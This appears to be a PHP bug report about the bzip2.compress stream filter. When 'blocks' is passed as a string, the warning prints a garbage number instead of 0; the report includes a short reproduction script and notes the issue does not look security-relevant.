	if (zend_hash_find(HASH_OF(filterparams), "blocks", sizeof("blocks"), (void**) &tmpzval) == SUCCESS) {
		/* How much memory to allocate (1 - 9) x 100kb */
		zval tmp;

	}



Test script:
---------------
<?php
// poc.php
$input = "AAAAAAAA";
$param = array('blocks' => $input);

$fp = fopen('testfile', 'w');
stream_filter_append($fp, 'bzip2.compress', STREAM_FILTER_WRITE, $param);
fclose($fp);
?>


Expected result:
----------------
Warning: stream_filter_append(): Invalid parameter given for number of blocks to allocate. (0)

Actual result:
--------------
Warning: stream_filter_append(): Invalid parameter given for number of blocks to allocate. (140737352754896)

Doesn't look like security issue, since it requires special code to reproduce.
